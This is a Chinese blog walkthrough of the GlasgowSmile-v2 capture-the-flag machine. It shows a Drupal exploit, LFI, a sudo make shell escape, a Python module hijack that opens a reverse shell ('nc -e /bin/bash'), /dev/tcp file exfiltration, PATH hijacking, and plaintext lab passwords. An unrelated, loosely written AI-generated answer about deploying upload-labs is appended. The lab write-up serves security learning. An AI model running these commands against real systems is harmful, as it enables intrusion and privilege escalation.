GlasgowSmile-v2靶机复盘

GlasgowSmile-v2靶机复盘

这是一个非常难的靶机

这个靶机是直接给我们ip地址的,所以就不用去找ip地址了,直接对ip进行一个扫描。

发现开通了22,80,83,但是8080端口是个开启我们无法访问的状态,所以可以猜测,这个端口可能没有对外开放,只有本地可以访问。

image-20230704164902369

扫描ip的同时顺便扫描一下目录,用了好几个工具,但是只有dirsearch扫描到了一个有用的目录

 dirsearch -u http://192.168.102.138/

image-20230703193606038

这句话的意思就是写完这个bash文件后记得删除,bash文件都是以sh结尾,所以我们猜测有个.sh文件,专门对这个扫描一下。

 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x sh -u http://192.168.102.139

image-20230703194022147

image-20230703194336063

扫描到一个joke.sh,打开后发现一行没有注释的命令,这条命令是get一个账号密码登陆这个地址,猜测这是一个登陆地址。

image-20230703194611788

image-20230703194732502

复制打开后发现的确是一个登陆地址。

image-20230703194751309

利用我们的指纹之别系统(wappalyzer)可以发现这是一个Drupal 8的CMS,当时打DC-1这个靶机的时候就是这个系统,有一个专门的扫描工具,droopescan。

image-20230703194817463

image-20230703194851820

image-20230703195058074

我们可以直接searchsploit Drupal 8.3.3查找漏洞,但是在尝试过程中发现msf有现成的。

image-20230703195237136

image-20230703195638883

这样就进去网站的shell了,感觉进入shell距离结束就已经不远了,但是这只是一个开端。

我们在单独扫描这个ip地址时候发现有个开启的8080端口,但是被过滤掉了,所以猜测只能服务器本机可以访问,所以这里我们查看了一下,发现果真只有127.0.0.1可以进行访问,所以我们需要做一个端口转发,让我们也可以访问这个8080端口。

netstat -lntup
-l:只显示监听状态的网络连接。
-n:以数字格式显示端口号,而不是以服务名称的形式显示。
-t:只显示 TCP 协议的网络连接。
-u:只显示 UDP 协议的网络连接。
-p:显示与每个网络连接相关联的进程信息。

端口转发

利用这个命令可以开启8081端口,当我们访问8081端口的时候会把流量转到8080端口,实现访问8080端口。

image-20230703202826332

socat TCP-LISTEN:8081,resueaddr,fork TCP:127.0.0.1:8080

image-20230703203955897

image-20230703204029639

访问后查看源代码发现一行注释,大概意思就是如果你不记得自己密码了,就使用Riddler这个app,并且Nginx比apache2更安全可靠,这里给了我们一个提醒,猜测就是跟riddler或者nginx有关,后来发现的确跟nginx有关系。

image-20230703204118946

点击login后有个忘记密码,点击后发现url发现了变化

image-20230703204303215

很明显可以发现这是一个文件包含的漏洞。

image-20230703204314545

尝试查看/etc/passwd文件,发现查看成功,的确有这个漏洞。

image-20230703204342219

上面给了提示说nginx比apache2更安全可靠,所以这个系统大概率就是nginx服务器,在自己本机上找了一下nginx配置文件的位置,我们尝试查看靶机是否也只这个目录。

image-20230703205753658

成功发现靶机的nginx配置文件也是这个目录。

image-20230703205858522

并且查看源代码后在最底下发现一个include,搜索了一下这个这个目录,发现说这个文件下只有一个default文件,并且我的本机也是只有这个文件。

image-20230703205959941

在靶机上是没有这个文件的,后来联想到配置文件通常以.conf结尾,在后面加上.conf后发现文件名是default.conf

image-20230703210200567

/etc/nginx/sites-enabled/default.conf

image-20230703210436922

在default.conf配置文件中发现有个目录,我们打开这个目录试试。

image-20230703210613444

发现是一个谜语题,问了一下chatgpt有了答案,或者Google搜索也能找到答案,但是百度是没有答案的。

image-20230703210705447

image-20230703210920107

这是后我们就找到了第一个用户的密码,因为我们已经进去shell了,可以cd一下home目录,挨个尝试一下登陆,发现可以登陆上riddler这个用户。

image-20230703210953403

ssh riddler@192.168.102.139
J2h3cUy5Sc4gXLp5VXrE

登陆上以后再riddler的家目录有几个文件,burn执行后是一串php代码,而message.txt中是一串数字,并且给了提醒说这是一个key,所以猜测这个key是用这串php代码加密而来的,我们就需要想办法去解密这串key。

image-20230703212708229

image-20230704172422380

把这串php代码复制到php代码美化工具后就看到了源代码。

image-20230703212916307

根据源码反向写了一个解密代码。

with open("./a.txt") as f:
	for line in f:
		l = line.strip()
		num = int(l[:len(l)-1])
		if l[-1] == "F":
			num -= 2154
		if l[-1] =="A":
			num -= 2190
			
		print(chr(num))

我们把这个key复制到kali中创建一个tmp文件,然后执行以下代码,让每行以AF结尾输出到a.txt中去,再执行我们的解密代码,再把换行符删除掉就解密成功,出现了我们第二个密码。

cat tmp | sed 's/[AF]/&\n/g' | grep -v '^$' > a.txt
cat tmp | tr -d '\n'

image-20230704114753350

image-20230703215418615

UFVE36GvUmK4TcZCxBh8vUEWuYekCY

经过尝试,这是bane的密码。

登陆后sudo -l发现我们可以使用carnage用户身份执行/bin/make命令。

image-20230703215515893

image-20230703215616235

利用carnage这个身份我们可以进入carnage的命令行,网上搜索了一下执行以下命令可以进入carnage的命令行。

image-20230703215703027

COMMAND='/bin/sh'
sudo -u carnage /bin/make -s --eval=$'x:\n\t-'"$COMMAND"

这样我们就进入到了carnage用户下。

image-20230703215837157

image-20230703220719848

美化以下终端,然后我们在/opt/get_out目录下发现一个help.txt,意思就是我们个人文件下的zip压缩包删除后还会自动恢复。

image-20230703221127582

在carnage的home目录中是有一个zip压缩包的,这个压缩包每次删除后都会自动恢复。这里其实是调用了一个python的模块叫做zipfile模块,同时这里运用了计时任务,每隔一段时间会调用moonlight.py这个文件,所以devil.zip这个文件才会被自动恢复。

我们自己创建的zip文件删除后就不会被恢复。

在这里我们可以自己创建一个zipfile.py文件,在moonlight.py所在的目录,这样python调用的时候就会先调用我们这个zipfile.py,我们在这个文件中写一个反弹shell,因为moonlight.py是以venom身份运行的,所以我们可以返回一个venom的shell。

vi zipfile.py
import os
os.system("nc -e /bin/bash 192.168.102.129 8888")

image-20230704084432332

image-20230703224506434

image-20230704091329284

image-20230704092022198

image-20230704092040684

进入venom的用户后查找一下有权限的文件,发现有一堆gothamwillburn文件,我们进去这个目录。

image-20230704092858077

file一下发现这些是可执行文件,经过挨个执行这些文件,发现只有gothamwillburn4可以执行

image-20230704094246812

把gothamwillburn4发送到我们本机进行一个深入了解。

cat gothamwillburn4 > /dev/tcp/192.168.102.137/8888

image-20230704095128522

image-20230704095152011

输出到我们电脑后以exp命名,然后strings命令查看一下,发现这个文件在运行的过程中调用了cat命令,所以我们可以尝试利用cat命令为切入点进行提权。

image-20230704095233999

并且这里的cat不是全目录,所以我们可以修改环境变量,让这个文件运行的时候运行我们自己创建的cat文件。

image-20230704100402878

成功提权。

image-20230704100451468

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在Kali Linux上部署upload-labs靶机,您需要按照以下步骤进行操作: 1. 首先,您需要通过SSH连接到一个Linux主机。根据提供的端口和地址,使用以下命令连接到目标主机: `ssh -p 25142 root@node4.buuoj.cn` 2. 下载并解压upload-labs靶机安装包。您可以使用提供的链接下载`upload-labs-0.1.zip`文件。将其解压缩,并将相关文件放入容器中以供运行。 3. 确保您的Kali Linux系统满足Docker的运行要求。首先,检查当前Linux系统的内核版本,使用以下命令: `uname -a` 如果内核版本大于等于3.10,您的系统符合要求。否则,您可能需要更新内核或使用支持Docker的其他系统。 4. 更新apt源以满足下载要求。根据您的具体需求,可能需要更新apt源来获取所需的软件包。 5. 启动upload-labs靶机。根据提供的问题描述,您可能需要进行代码审计,并利用文件包含漏洞,通过URL参数来读取敏感文件。一个示例的URL可能是:`http://your-upload-labs-url/?file=/flag`,其中`your-upload-labs-url`是您部署upload-labs靶机的URL地址。您需要根据具体情况进行进一步的测试和配置。 请注意,这只是一个简要的概述,并且具体的部署步骤可能会因不同的环境和需求而有所不同。建议您参考相关文档和指南以获取更详细的部署信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值